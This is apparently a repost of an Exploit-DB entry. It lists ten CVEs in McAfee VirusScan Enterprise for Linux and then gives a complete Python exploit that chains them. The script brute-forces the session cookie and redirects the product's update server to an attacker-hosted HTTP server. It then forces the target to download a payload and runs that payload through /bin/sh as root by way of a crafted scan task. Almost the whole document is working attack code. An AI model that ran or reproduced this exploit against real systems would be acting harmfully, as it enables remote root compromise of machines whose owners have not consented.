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McAfee Virus Scan Enterprise for Linux – Remote Code Execution

from https://www.exploit-db.com/exploits/40911/

''' Source: https://nation.state.actor/mcafee.html  Vulnerabilities  CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read (with Constraints) CVE-2016-8018: No Cross-Site Request Forgery Tokens CVE-2016-8019: Cross Site Scripting CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location CVE-2016-8022: Remote Use of Authentication Tokens CVE-2016-8023: Brute Force Authentication Tokens CVE-2016-8024: HTTP Response Splitting CVE-2016-8025: Authenticated SQL Injection When chaned together, these vulnerabilities allow a remote attacker to execute code as root. ''' #!/bin/python3 import time import requests import os import sys import re import threading import subprocess from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn  # Per-target configuration target_domain="https://10.0.1.130" # https://target_ip local_ip = '10.0.1.128'                 # Attacker IP for victim to connect back to authorized_ip="127.0.0.1"           # IP address cookie will be valid for update_server_port = 8080               # Port update server listens on delay_seconds = 10                      # How long should the server take to serve the update target_port = 55443                 # Port to target  # Put payload script in payload.sh  # Initialization payload_in_place = threading.Event() requests.packages.urllib3.disable_warnings() with open("payload.sh", "r") as f:     payload = f.read()  def pprint(inp, flag=False):     pad = "#"     if flag:         pad = "*"     print("/n" + pad+ " " + inp)   def crack_cookie():     pprint("Cracking Cookie")      # A page that requires authentication     url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"      # Start at the current time + 100 in case of recent login with clock skew     date_val = int(time.time()+100)     cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20      # Make requests, print after every 600     while True:         cookie = cookie_fmt % date_val         req_cookie = {"nailsSessionId": cookie}         r = requests.get(url, cookies=req_cookie, verify=False)         r.raise_for_status()          if "Set-Cookie" in r.headers:             valid_cookie = cookie             timestamp = cookie.split("/")[3].split("-")[0]             break          elif date_val % 600 == 0:             print("Now trying  %s" % time.asctime(time.localtime(date_val)))          date_val -= 1      pprint("Cookie Cracked: " + timestamp, True)     return valid_cookie   def update_update_server(auth_cookie):     pprint("Updating update server")      # Replace McAfeeHttp update server with attacker local_ip:update_server_port     url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" /     "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" /     "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" /     "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" /     "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" /     "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" /     "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" /     "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) /     + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" /     "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" /     "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" /     "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" /     "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" /     "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" /     "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" /     "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" /     "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" /     "posProperty=fallback&useOfProxy=on"      r = requests.get(url, cookies=auth_cookie, verify=False)     r.raise_for_status()     pprint("Updated update server", True)  def download_update(req_cookie):     pprint("Requesting target download payload")      # Send request to make target download payload     url = target_domain + ":" + str(target_port) + "/0409/nails"      updateName = "update_%d" % int(time.time())     postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" /     "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" /     "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" /     "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" /     "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" /     "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" /     "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" /     "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" /     "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)      headers = {'Content-Type': 'application/x-www-form-urlencoded'}     r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)     r.raise_for_status()      pprint("Payload download requested", 1)   def exec_catalogz(req_cookie):     pprint("Making target execute payload")      #### Get commit_id and ODS_name     url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" /     ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" /     "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" /     "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" /     ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" /     "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"      r = requests.get(url, cookies=req_cookie, verify=False)     r.raise_for_status()      regex = re.search("/|digest=(.+?)/|", r.text)     if not regex:         print("/nERROR: Could not get commit_id when generating evil scan/n")         return False      commit_id = regex.groups(1)[0]      # Send request to start evil scan     payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"     binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x      url = target_domain + ":" + str(target_port) + "/0409/nails"      ODS_name = "ODS_1"   # This may need to be increased if the name already exists     scan_name = "scan_%s" % str(int(time.time()))      postdata =  ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" /     "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" /     "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" /     "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" /     ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" /     "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" /     "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" /     "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" /     "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" /     "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" /     "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" /     "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" /     "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" /     "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" /     "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" /     "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" /     "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" /     ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" /     "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" /     "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" /     ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" /     "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" /     "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" /     "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" /     "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" /     "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" /     "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" /     "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" /     "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" /     "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" /     "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)      headers = {'Content-Type': 'application/x-www-form-urlencoded'}     r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)     r.raise_for_status()      pprint("Payload executed", 1)  def start_update_server():      class RequestHandler(BaseHTTPRequestHandler):         def do_HEAD(s):             s.send_response(200)             s.send_header("Content-type", "text/html")             s.end_headers()          def do_GET(s):             if s.path == "/catalog.z":                 s.send_response(200)                 s.send_header("Content-type", "text/html")                 s.end_headers()                 s.wfile.write(bytes(payload, "utf-8"))                  pprint("Payload placed", 1)                  payload_in_place.set()                  # Die after sending payload so we send an incomplete response                 raise KillServer              else: # Assume all other requests are for SiteStat - Always increasing version                 s.send_response(200)                 s.send_header("Content-type", "text/xml")                 s.end_headers()                 s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" /                 """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" /                 """ </SiteStatus>""") % int(time.time()), "utf-8"))      # Throwing KillServer will shutdown the server ungracefully     class KillServer(Exception):         def __str__(self):             return "Kill Server (not an error)"      # ThreadingMixIn plus support for KillServer exceptions     class AbortableThreadingMixIn(ThreadingMixIn):         def process_request_thread(self, request, client_address):             try:                 self.finish_request(request, client_address)                 self.shutdown_request(request)             except KillServer:                 pprint("Killing update server dirtily")                 self.shutdown_request(request)                 self.shutdown() # Only if we want to shutdown             except:                 self.handle_error(request, client_address)                 self.shutdown_request(request)       class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):         pass      pprint("Launching update server")      srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)     threading.Thread(target=srv.serve_forever).start()      pprint("Update server started", 1)     return srv   #################################################################################### ####################################################################################  pprint("Attacking %s" % target_domain, 1)  # Crack the auth cookie cookie = crack_cookie() auth_cookie = {"nailsSessionId": cookie}  # Start our update server locally srv = start_update_server()  # Force target to use our update server update_update_server(auth_cookie)  # Make target download an update from us download_update(auth_cookie)  # Block until the target downloads our payload, payload_in_place.wait()  # Shutdown our update server srv.shutdown()  # Execute /bin/sh -(?) catalog.z exec_catalogz(auth_cookie)

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